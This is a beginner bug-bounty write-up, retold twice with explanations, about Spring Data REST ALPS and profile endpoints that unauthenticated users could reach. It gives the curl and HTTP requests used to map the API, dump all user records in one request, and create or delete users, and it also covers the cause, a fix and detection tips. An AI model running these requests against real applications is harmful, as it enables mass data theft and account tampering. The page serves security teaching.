Skip to content
Access control Write-up Beginner

Exploiting Application-Level Profile Semantics (APLS)

Unauthenticated users had full access to all ALPS REST endpoints, allowing them to list, read, create, update, and delete user objects. An attacker could leak all user information and potentially add admin users.

niemand_sec Follow

Published on niemand.com.ar

A few days ago I came across an APLS definition, I ignored it for a couple of days, but luckily I came back and I could understand what it really was. I don’t like the spoilers, but it ends up being a Critical bug.

Niemand (@niemand_sec), on niemand.com.ar

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

Application-Level Profile Semantics (ALPS) is a data format for describing application-level semantics, similar in complexity to HTML microformats. An ALPS document can act as a profile that explains the application semantics of a document with an application-agnostic media type such as HTML, HAL, Collection+JSON or Siren, which increases the reusability of profile documents across media types. In practice it is another API definition format, comparable to Swagger.

Spring Data REST applications expose these definitions. Spring Data REST also allows @Pre and @Post security conditions to be configured, and the question the author asks is what happens when those conditions are missing or misconfigured.

The author found an ALPS definition exposed on a web application and initially ignored it for a couple of days before returning to it and understanding what it was. The result was described as a critical bug: unauthenticated users had full access to all the ALPS REST endpoints.

Application-Level Profile Semantics (APLS) from Spring From the original on niemand.com.ar

Setup

The write-up does not describe any accounts, roles, tooling versions or special preconditions. The only tool shown is curl, and the examples use a placeholder host domain.com with the application deployed under /alps. The testing was done without authentication, since the core finding is that unauthenticated users could reach the endpoints.

Finding it

The starting point is resource discoverability. A request to the root URL under which the Spring Data REST application is deployed returns a JSON object containing links that represent the next level of available resources. At the root of such an application there is a profile link. Assuming an application with users, the root document looks like this:

Bash
curl -v http://domain.com/alps

< HTTP/1.1 200 OK
< Content-Type: application/hal+json

{
  "_links" : {
    "users" : {
      "href" : "http://domain.com/alps/users"
    },
    "profile" : {
      "href" : "http://domain.com/alps/profile"
    }
  }
}

The response is HAL JSON and advertises both the users resource and the profile resource. Navigating into the profile link gives content resembling the following:

Bash
curl -v http://domain.com/profile

< HTTP/1.1 200 OK
< Content-Type: application/hal+json

{
  "_links" : {
    "self" : {
      "href" : "http://domain.com/alps/profile"
    },
     "users" : {
      "href" : "http://domain.com/alps/users"
    },
}

The profile is where the juicy information about the API lives: it contains a link for each resource's metadata. Going one path deeper, to /alps/users, reveals the metadata definition itself:

JSON
{
  "alps" : {
    "version" : "1.0",
    "descriptor" : [ {
      "id" : "users-representation",
      "href" : "http://domain.com/alps/profile/users",
      "descriptor" : [ {
        "name" : "company",
        "type" : "SEMANTIC"
      }, {
        "name" : "nickname",
        "type" : "SEMANTIC"
      } ]
    }, {
      "id" : "get-users",
      "name" : "users",
      "type" : "SAFE",
      "descriptor" : [ {
        "name" : "page",
        "type" : "SEMANTIC",
        "doc" : {
          "format" : "TEXT",
          "value" : "The page to return."
        }
      }, {
        "name" : "size",
        "type" : "SEMANTIC",
        "doc" : {
          "format" : "TEXT",
          "value" : "The size of the page to return."
        }
      }, {
        "name" : "sort",
        "type" : "SEMANTIC",
        "doc" : {
          "format" : "TEXT",
          "value" : "The sorting criteria to use to calculate the content of the page."
        }
      } ],
      "rt" : "#users-representation"
    }, {
      "id" : "create-users",
      "name" : "users",
      "type" : "UNSAFE",
      "rt" : "#users-representation"
    }, {
      "id" : "delete-users",
      "name" : "users",
      "type" : "IDEMPOTENT",
      "rt" : "#users-representation"
    }, {
      "id" : "update-users",
      "name" : "users",
      "type" : "IDEMPOTENT",
      "rt" : "#users-representation"
    }, {
      "id" : "get-users",
      "name" : "users",
      "type" : "SAFE",
      "rt" : "#users-representation"
    }, {
      "id" : "patch-users",
      "name" : "users",
      "type" : "UNSAFE",
      "rt" : "#users-representation"
    }, {
      "name" : "findByCompanyName",
      "type" : "SAFE",
      "descriptor" : [ {
        "name" : "company",
        "type" : "SEMANTIC"
      }, {
        "name" : "nickname",
        "type" : "SEMANTIC"
      } ]
    }, {
      "name" : "findByUserId",
      "type" : "SAFE",
      "descriptor" : [ {
        "name" : "userId",
        "type" : "SEMANTIC"
      } ]
    } ]
  }
}

The definition lists the representation fields (company, nickname), the operations available on users (get-users, create-users, delete-users, update-users, patch-users), the pagination parameters (page, size, sort) and two finder methods, findByCompanyName and findByUserId. This is the map of the API, and it is what made the exposure worth pursuing.

Exploitation

Step 1: Query the JSON schema

To retrieve the JSON schema of a particular profile, the author sends a GET request with a specific Accept header:

HTTP
Accept: application/schema+json

As the Spring Data REST documentation explains, the Accept header is what selects the schema representation. The result looks like this:

Bash
curl -H 'Accept:application/schema+json' -v http://domain.com/alps/profile/users

< HTTP/1.1 200 OK
< Content-Type: application/hal+json

{
  "title" : "User type",
  "properties" : {
        "name" : "company",
        "type" : "SEMANTIC"
      }, {
        "name" : "nickname",
        "type" : "SEMANTIC"
  },
  "definitions" : { },
  "type" : "object",
  "$schema" : "http://json-schema.org/draft-04/schema#"
}

The response describes the User type object and its properties.

Step 2: List existing information

If you have enough privileges to access this endpoint, you should be able to retrieve all object instances of the profile with a GET request. In this case the author found exactly that: unauthenticated users had full access to all the ALPS REST endpoints.

Bash
curl -v http://domain.com/alps/users

< HTTP/1.1 200 OK
< Content-Type: application/hal+json

{
  "_embedded" : {
    "users" : [ {
      "company" : "MySecretCompany",
      "nickname" : "admin",
      "_links" : {
        "self" : {
          "href" : "http://domain.com/alps/users/<USERID>"
        },
        "users" : {
          "href" : "http://domain.com/alps/users/<USERID>"
        }
      }
    },
<SNIPPED>
 },
  "page" : {
    "size" : 50,
    "totalElements" : 500000,
    "totalPages" : 10000,
    "number" : 0
  }
}

Note that the profile segment is removed from the URL: the API for users is located at /alps/users. The response also reports the total number of elements at the end, and the number of results returned can be increased with the size URL parameter:

Text
/alps/users?size=500000

With that, all user information can be leaked in one request.

Step 3: Access one particular element

Accessing a single instance is straightforward:

Bash
curl -v http://domain.com/alps/users/<USERID>

< HTTP/1.1 200 OK
< Content-Type: application/json

{
      "company" : "MySecretCompany",
      "nickname" : "admin",
      "_links" : {
        "self" : {
          "href" : "http://domain.com/alps/users/<USERID>"
        },
        "users" : {
          "href" : "http://domain.com/alps/users/<USERID>"
        }
      }
}

Step 4: Add a new element

The author describes this as potentially the most valuable and critical case: if new elements can be created, then depending on the profiles exposed it may be possible to do interesting things such as adding new admin users or adding users to a particular company. POST and PUT are the two HTTP methods used to insert new entries, while PATCH modifies already existing instances.

HTTP
PUT /alps/users/<USERID> HTTP/1.1
Host: domain.com
Accept: application/json
Content-Type: application/json
Content-Length: 65

{"company":"MySecretCompany","nickname":"admin"}

Step 5: Delete an element

Deleting is not very different from the other methods. As with a normal REST API, the DELETE method removes an object:

HTTP
DELETE /alps/users/<USERID> HTTP/1.1
Host: domain.com
Accept: application/json
Content-Type: application/json
Content-Length: 2

{}

Root cause

The exposure comes from Spring Data REST's ALPS and profile endpoints being reachable without authentication, combined with the absence or misconfiguration of the @Pre and @Post security conditions that Spring Data REST allows to be set up. The author frames the whole issue as the question of what happens when those conditions are missing or misconfigured, and the observed result is that unauthenticated users had full access to all the ALPS REST endpoints. The write-up does not show the application's security configuration, so the exact placement of the missing check is not documented.

Impact

Under the observed condition, an unauthenticated attacker can read the API's metadata and schema, enumerate every object instance of a profile, retrieve individual instances by identifier, and, where the exposed profiles allow it, create or modify entries with POST, PUT and PATCH and remove them with DELETE. The author notes that creating elements could mean adding new admin users or adding users to a particular company, depending on the profiles exposed. The listing response in the example reported 500000 total elements, and the size parameter allows that volume to be pulled in a single request.

Fix

Based on the root cause, the endpoints need the @Pre and @Post security conditions that Spring Data REST supports to be present and correctly configured, so that the ALPS, profile and resource endpoints are not reachable by unauthenticated users.

Variants to test

The author lists three ways to identify this kind of definition in an application under test:

  1. Check for the endpoint /profile while discovering content. It is not necessarily at the root; it can sit inside another directory such as /alps or /api. A positive result is a profile document listing per-resource metadata links.
  2. While interacting with the available APIs, check whether any endpoint returns the header Content-Type: application/hal+json. A positive result is any endpoint returning that header.
  3. While crawling, send the header Accept: application/schema+json. This may reveal the defined schemas, as shown above.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 17 min read.

What happened, in plain words

A security researcher was browsing a web application and came across a page that described the application's own API. He did not recognise what it was at first, ignored it for a couple of days, then came back to it and worked out what it meant. What he found was that this description page, and the API it described, could be read and used by anyone on the internet, without logging in at all. He called the result a critical bug.

The description format is called Application-Level Profile Semantics, or ALPS. It is a way for a web application to publish a map of itself: which kinds of records it stores, which fields those records have, and which actions (read, create, update, delete) are available on them. The application in question was built with a tool called Spring Data REST, which can generate this map automatically. Spring Data REST also lets developers attach security rules to those actions. The researcher's question was simple: what happens if those rules are missing or set up wrongly? The answer, in this case, was that anonymous visitors could list every user record and read any single record.

Application-Level Profile Semantics (APLS) from Spring From the original on niemand.com.ar

The image at the top of the post is a banner reading "Application-Level Profile Semantics (APLS) from Spring". It sets the subject of the article: the ALPS format as produced by the Spring framework.

The ideas you need first

Before walking through the requests, here are the handful of concepts the rest of the article relies on. Each one is explained from scratch.

API. An API (Application Programming Interface) is the set of doors a program offers to other programs. Think of a restaurant: the menu is the API, the kitchen is the application, and you order by naming a dish rather than walking into the kitchen yourself. On the web, an API is usually a set of URLs that return data instead of web pages.

REST. REST is a style for designing such APIs around resources. A resource is a thing, such as a user, and each thing gets its own URL. The action you want is expressed by the HTTP method: GET reads, POST creates, PUT replaces, PATCH partially updates, DELETE removes. It is like a library: the shelf address is the URL, and "borrow", "return" or "reserve" are the methods.

JSON. JSON is a plain-text way of writing structured data, built from curly braces (objects), square brackets (lists), names in quotes and values. It is what most APIs send back. A JSON document is readable by humans and by machines.

HAL JSON. HAL is a small convention layered on top of JSON for including links. A HAL document has a _links section listing related URLs, so a client can discover what else exists without being told in advance. Think of a paper document with hyperlinks printed in the margin.

HTTP headers. Every request and response carries headers: small labelled lines of extra information. Content-Type says what format the body is in. Accept says which formats the client is willing to receive. Host names the site being contacted. Content-Length gives the size of the body in bytes.

curl. curl is a command-line tool that sends HTTP requests and prints the responses. It is the browser's address bar without the pictures. The -v flag means verbose: it also prints the request and response headers, which is how you see status codes and content types. The -H flag adds a custom header to the request.

Status codes. 200 OK means the request succeeded. 404 would mean not found. These numbers appear in the response headers.

Authentication and authorisation. Authentication is proving who you are (logging in). Authorisation is what you are then allowed to do. A resource that can be reached without logging in is called unauthenticated, or anonymous, access.

Spring Data REST. Spring is a popular framework for building Java web applications. Spring Data REST is a component that automatically turns database entities into a REST API, complete with the discovery documents and metadata described in this article. It saves developers a lot of work, and that is exactly why a missing security rule can expose a lot at once.

ALPS. ALPS is a data format for describing the meaning of an application's data and actions, in a way that is independent of the format used to carry it (HTML, HAL, JSON and so on). The post quotes the specification's own summary: it is "similar in complexity to HTML microformats", and an ALPS document "can be used as a profile to explain the application semantics of a document with an application-agnostic media type". In everyday terms, it is the menu with descriptions: not just "users" but which fields a user has and which operations exist on users. The author compares it to Swagger, another popular API description format.

@Pre and @Post security conditions. Spring Security lets a developer annotate methods so that a check runs before or after the method executes. If those annotations are absent or wrong, the method simply runs for whoever asks.

JSON Schema. A JSON Schema is a document that describes the shape of other JSON documents: which fields exist, what type they are, and so on. It is a form template rather than a filled-in form.

Pagination. When a list is huge, APIs return it in pages. Parameters such as page, size and sort control which slice you get and how big it is.

Finder methods. Spring Data REST can expose database queries as API operations. A finder such as findByCompanyName lets a client search records by a field instead of listing everything.

Finding it

The researcher started from what the post calls resource discoverability. When you request the root URL of a Spring Data REST application, the reply is a JSON document full of links to the next level of resources. It is a table of contents. At the root there is a link called profile. Assuming the application manages users, the root document looks like this:

Bash
curl -v http://domain.com/alps

< HTTP/1.1 200 OK
< Content-Type: application/hal+json

{
  "_links" : {
    "users" : {
      "href" : "http://domain.com/alps/users"
    },
    "profile" : {
      "href" : "http://domain.com/alps/profile"
    }
  }
}

Line by line:

  • curl -v http://domain.com/alps sends a plain GET request to the path /alps on the example host and asks curl to show the headers as well as the body.
  • < HTTP/1.1 200 OK is the status line of the response: the server understood and answered successfully.
  • < Content-Type: application/hal+json says the body is HAL JSON, the link-carrying JSON format described above.
  • The body has one top-level key, _links, holding two entries. users points to http://domain.com/alps/users, the collection of user records. profile points to http://domain.com/alps/profile, the description document.

Why this step matters: the researcher did not guess any URLs. The application itself handed over the address of its own description page. That is the discovery part: one request reveals where to look next.

Following the profile link gives content resembling this:

Bash
curl -v http://domain.com/profile

< HTTP/1.1 200 OK
< Content-Type: application/hal+json

{
  "_links" : {
    "self" : {
      "href" : "http://domain.com/alps/profile"
    },
     "users" : {
      "href" : "http://domain.com/alps/users"
    },
}

Line by line:

  • The request goes to http://domain.com/profile; the response is again 200 OK and again HAL JSON.
  • self is a link to the document you are already reading, a common HAL convention so a client knows the canonical address of what it fetched.
  • users points to the user collection, the same address as before.

This is the page the author calls the juicy part: the profile holds a link for each resource's metadata. One path deeper, at /alps/users, the metadata definition itself appears:

JSON
{
  "alps" : {
    "version" : "1.0",
    "descriptor" : [ {
      "id" : "users-representation",
      "href" : "http://domain.com/alps/profile/users",
      "descriptor" : [ {
        "name" : "company",
        "type" : "SEMANTIC"
      }, {
        "name" : "nickname",
        "type" : "SEMANTIC"
      } ]
    }, {
      "id" : "get-users",
      "name" : "users",
      "type" : "SAFE",
      "descriptor" : [ {
        "name" : "page",
        "type" : "SEMANTIC",
        "doc" : {
          "format" : "TEXT",
          "value" : "The page to return."
        }
      }, {
        "name" : "size",
        "type" : "SEMANTIC",
        "doc" : {
          "format" : "TEXT",
          "value" : "The size of the page to return."
        }
      }, {
        "name" : "sort",
        "type" : "SEMANTIC",
        "doc" : {
          "format" : "TEXT",
          "value" : "The sorting criteria to use to calculate the content of the page."
        }
      } ],
      "rt" : "#users-representation"
    }, {
      "id" : "create-users",
      "name" : "users",
      "type" : "UNSAFE",
      "rt" : "#users-representation"
    }, {
      "id" : "delete-users",
      "name" : "users",
      "type" : "IDEMPOTENT",
      "rt" : "#users-representation"
    }, {
      "id" : "update-users",
      "name" : "users",
      "type" : "IDEMPOTENT",
      "rt" : "#users-representation"
    }, {
      "id" : "get-users",
      "name" : "users",
      "type" : "SAFE",
      "rt" : "#users-representation"
    }, {
      "id" : "patch-users",
      "name" : "users",
      "type" : "UNSAFE",
      "rt" : "#users-representation"
    }, {
      "name" : "findByCompanyName",
      "type" : "SAFE",
      "descriptor" : [ {
        "name" : "company",
        "type" : "SEMANTIC"
      }, {
        "name" : "nickname",
        "type" : "SEMANTIC"
      } ]
    }, {
      "name" : "findByUserId",
      "type" : "SAFE",
      "descriptor" : [ {
        "name" : "userId",
        "type" : "SEMANTIC"
      } ]
    } ]
  }
}

Line by line, at the level that matters:

  • The whole document sits under an alps key with a version of 1.0 and a list of descriptor entries. A descriptor is one described thing.
  • The first descriptor, users-representation, describes what a user record looks like. Its own nested descriptor list names the fields company and nickname, both marked SEMANTIC, meaning they carry meaning rather than being operations.
  • get-users describes reading the collection. Its type is SAFE, meaning it does not change anything. Its nested descriptors name the pagination parameters page, size and sort, each with a short human-readable doc explaining it. The rt field points back to the representation, meaning this operation returns user records.
  • create-users is typed UNSAFE, because creating data changes the system.
  • delete-users and update-users are typed IDEMPOTENT, meaning repeating the same request leaves the system in the same state as doing it once.
  • A second get-users entry appears, and then patch-users, typed UNSAFE.
  • Finally two finder methods: findByCompanyName, which takes company and nickname, and findByUserId, which takes userId. Both are SAFE searches.

Why this step matters: this document is the map of the API. It names the fields, the operations and the search methods. A developer publishes it so that client programs can use the API without reading source code. The researcher reads it for the same reason, except that he is looking for operations the application forgot to protect. The presence of create-users, delete-users, update-users and patch-users in the map is what made the exposure worth pursuing.

Exploitation

Step 1: Query the JSON schema

To get the JSON schema of a particular profile, the author sends a GET request with a specific Accept header:

HTTP
Accept: application/schema+json

This single header line says: I would like the answer in JSON Schema format, please. The server decides the format of its reply from this header, as the Spring Data REST documentation explains. The full request and its result look like this:

Bash
curl -H 'Accept:application/schema+json' -v http://domain.com/alps/profile/users

< HTTP/1.1 200 OK
< Content-Type: application/hal+json

{
  "title" : "User type",
  "properties" : {
        "name" : "company",
        "type" : "SEMANTIC"
      }, {
        "name" : "nickname",
        "type" : "SEMANTIC"
  },
  "definitions" : { },
  "type" : "object",
  "$schema" : "http://json-schema.org/draft-04/schema#"
}

Line by line:

  • curl -H 'Accept:application/schema+json' -v http://domain.com/alps/profile/users sends a GET to the user profile path and adds the Accept header asking for a schema. The -v flag again shows the headers.
  • < HTTP/1.1 200 OK confirms success.
  • < Content-Type: application/hal+json reports the format of the body.
  • title names the described type, User type.
  • properties lists the fields, company and nickname, again marked SEMANTIC.
  • definitions is empty, type says the described thing is an object, and $schema points to the JSON Schema standard version in use.

Why this step matters: the schema is a more formal, machine-readable version of the same map. It confirms the fields. The researcher is checking, one request at a time, whether each layer of the description is open to anonymous visitors.

Step 2: List existing information

If you have enough privileges to reach this endpoint, you can retrieve every object instance of the profile with a GET request. In this case the author found exactly that: unauthenticated users had full access to all the ALPS REST endpoints.

Bash
curl -v http://domain.com/alps/users

< HTTP/1.1 200 OK
< Content-Type: application/hal+json

{
  "_embedded" : {
    "users" : [ {
      "company" : "MySecretCompany",
      "nickname" : "admin",
      "_links" : {
        "self" : {
          "href" : "http://domain.com/alps/users/<USERID>"
        },
        "users" : {
          "href" : "http://domain.com/alps/users/<USERID>"
        }
      }
    },
<SNIPPED>
 },
  "page" : {
    "size" : 50,
    "totalElements" : 500000,
    "totalPages" : 10000,
    "number" : 0
  }
}

Line by line:

  • curl -v http://domain.com/alps/users asks for the user collection. Note that the profile segment is gone from the URL: the actual data lives at /alps/users, while /alps/profile was only the description.
  • 200 OK and application/hal+json again.
  • _embedded is where HAL puts the actual list of records. Under users there is a list, and the first entry shows company set to MySecretCompany and nickname set to admin, followed by _links pointing at that single record's own URL, written as <USERID> because the real identifier has been replaced with a placeholder.
  • <SNIPPED> marks where the author cut the remaining records out of the article.
  • The page block reports the pagination state: size 50 records per page, totalElements 500000 records in total, totalPages 10000 pages, and number 0 meaning this is the first page.

Why this step matters: this is the moment the description turns into a data leak. The map said there was a users collection; this request proves that anyone can read it. The page block also tells the researcher how much is there, and the post notes that the number of results can be increased with the size URL parameter:

Text
/alps/users?size=500000

Appending ?size=500000 asks the server for 500000 records in one page instead of the default 50. With that, as the author puts it, all user information can be leaked in one request.

Step 3: Access one particular element

Reading a single record is just as direct:

Bash
curl -v http://domain.com/alps/users/<USERID>

< HTTP/1.1 200 OK
< Content-Type: application/json

{
      "company" : "MySecretCompany",
      "nickname" : "admin",
      "_links" : {
        "self" : {
          "href" : "http://domain.com/alps/users/<USERID>"
        },
        "users" : {
          "href" : "http://domain.com/alps/users/<USERID>"
        }
      }
}

Line by line:

  • The URL is the collection address plus a slash and the record's identifier, <USERID> standing in for the real value.
  • The response is 200 OK with Content-Type: application/json, plain JSON this time rather than HAL.
  • The body is one user record: company and nickname, plus _links with self (this record) and users (the collection it belongs to).

Why this step matters: it shows that individual records can be fetched directly by identifier, not only in bulk. If an attacker learns or guesses an identifier, the record is one request away.

Step 4: Add a new element

The author calls this potentially the most valuable and critical case. If new elements can be created, then depending on which profiles are exposed it may be possible to do things like adding new admin users, or adding users to a particular company. POST and PUT are the two HTTP methods used to insert new entries, while PATCH modifies existing ones.

HTTP
PUT /alps/users/<USERID> HTTP/1.1
Host: domain.com
Accept: application/json
Content-Type: application/json
Content-Length: 65

{"company":"MySecretCompany","nickname":"admin"}

Line by line:

  • PUT /alps/users/<USERID> HTTP/1.1 is the request line: the method is PUT, the path targets one record, and the protocol version is HTTP/1.1.
  • Host: domain.com names the server being contacted, which is required in HTTP/1.1.
  • Accept: application/json says the client expects JSON back.
  • Content-Type: application/json says the body being sent is JSON.
  • Content-Length: 65 states the body is 65 bytes long.
  • The blank line separates headers from body, and the body is {"company":"MySecretCompany","nickname":"admin"}, a user record with those two fields.

Why this step matters: reading data is bad, but writing data is worse. If this request succeeds without credentials, an anonymous visitor could plant a record, and the author points out that the record could be an administrator or a member of a chosen company, depending on what the exposed profiles allow.

Step 5: Delete an element

Deleting is not very different from the other methods. As with a normal REST API, the DELETE method removes an object:

HTTP
DELETE /alps/users/<USERID> HTTP/1.1
Host: domain.com
Accept: application/json
Content-Type: application/json
Content-Length: 2

{}

Line by line:

  • DELETE /alps/users/<USERID> HTTP/1.1 asks the server to remove the record at that address.
  • Host, Accept and Content-Type carry the same meaning as before.
  • Content-Length: 2 says the body is two bytes long.
  • The body is {}, an empty JSON object. A delete needs no data, but the request is written with a body anyway.

Why this step matters: it completes the set. If delete works without credentials, an anonymous visitor could remove records, a destructive outcome on top of the data leak.

Why it was possible

The exposure comes from Spring Data REST's ALPS and profile endpoints being reachable without authentication, combined with the absence or misconfiguration of the @Pre and @Post security conditions that Spring Data REST allows developers to set up. The author frames the whole issue as the question of what happens when those conditions are missing or misconfigured, and the observed result is that unauthenticated users had full access to all the ALPS REST endpoints. The post does not show the application's security configuration, so where exactly the missing check should have sat is not documented.

What the impact is

Under the observed condition, an anonymous attacker can read the API's metadata and schema, list every record of a profile, fetch individual records by identifier, and, where the exposed profiles allow it, create or modify entries with POST, PUT and PATCH and remove them with DELETE. The author notes that creating elements could mean adding new admin users or adding users to a particular company, depending on the profiles exposed. The listing response in the example reported 500000 total elements, and the size parameter allows that volume to be pulled in a single request.

How to fix it

The post does not describe a fix or a change made by the application owner. Based on the cause, the endpoints need the @Pre and @Post security conditions that Spring Data REST supports to be present and correctly configured, so that the ALPS, profile and resource endpoints cannot be reached by unauthenticated users.

How to look for the same thing

The author closes with three ways to spot this kind of definition in an application you are testing:

  1. Check for the endpoint /profile while discovering content. It is not necessarily at the root; it can sit inside another directory such as /alps or /api. A positive result is a profile document listing per-resource metadata links.
  2. While interacting with the available APIs, check whether any endpoint returns the header Content-Type: application/hal+json. A positive result is any endpoint returning that header.
  3. While crawling, send the header Accept: application/schema+json. This may reveal the defined schemas, as shown above.

Glossary

  • API: the set of URLs and rules a program offers so other programs can read or change its data.
  • REST: a style of designing APIs around resources, each with its own URL, where the HTTP method says what to do.
  • HTTP method: the verb of a request, such as GET (read), POST (create), PUT (replace), PATCH (partially update) or DELETE (remove).
  • JSON: a plain-text format for structured data, built from objects, lists, names and values.
  • HAL JSON: a JSON convention that adds a _links section so clients can discover related URLs.
  • Header: a labelled line of extra information sent with an HTTP request or response, such as Content-Type or Accept.
  • Content-Type: the header that states the format of a request or response body.
  • Accept: the header in which a client states which formats it is willing to receive.
  • Host: the header naming the server being contacted.
  • Content-Length: the header giving the size of the body in bytes.
  • Status code: the three-digit number in a response, such as 200 OK, saying how the request went.
  • curl: a command-line tool for sending HTTP requests and printing the responses.
  • -v flag: curl's verbose option, which also prints request and response headers.
  • -H flag: curl's option for adding a custom header to a request.
  • Authentication: proving who you are, usually by logging in.
  • Authorisation: what an authenticated (or anonymous) user is allowed to do.
  • Unauthenticated access: reaching a resource without logging in at all.
  • Spring: a widely used framework for building Java web applications.
  • Spring Data REST: a Spring component that automatically exposes database entities as a REST API, including discovery and metadata documents.
  • ALPS (Application-Level Profile Semantics): a data format for describing an application's data fields and operations in a media-type-independent way, comparable to Swagger.
  • Descriptor: one entry in an ALPS document, describing either a data field or an operation.
  • SEMANTIC: an ALPS type marking a descriptor as a data field rather than an operation.
  • SAFE: an ALPS type marking an operation that does not change anything, such as a read.
  • UNSAFE: an ALPS type marking an operation that changes data, such as create or patch.
  • IDEMPOTENT: an ALPS type marking an operation that leaves the system in the same state whether run once or repeatedly, such as delete or update.
  • rt: an ALPS field pointing to the representation an operation returns.
  • @Pre and @Post security conditions: Spring Security annotations that run a check before or after a method executes; if missing or wrong, the method runs for anyone.
  • JSON Schema: a document describing the shape of other JSON documents, such as which fields exist and their types.
  • Pagination: returning a large list in slices, controlled by parameters such as page, size and sort.
  • Finder method: a database query exposed as an API operation, such as findByCompanyName or findByUserId.
  • Resource discoverability: the practice of an API publishing links to its own resources so clients can find them without prior knowledge.
  • Crawling: systematically following links through an application to map what exists.
  • Critical bug: the author's own label for the severity of this finding.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.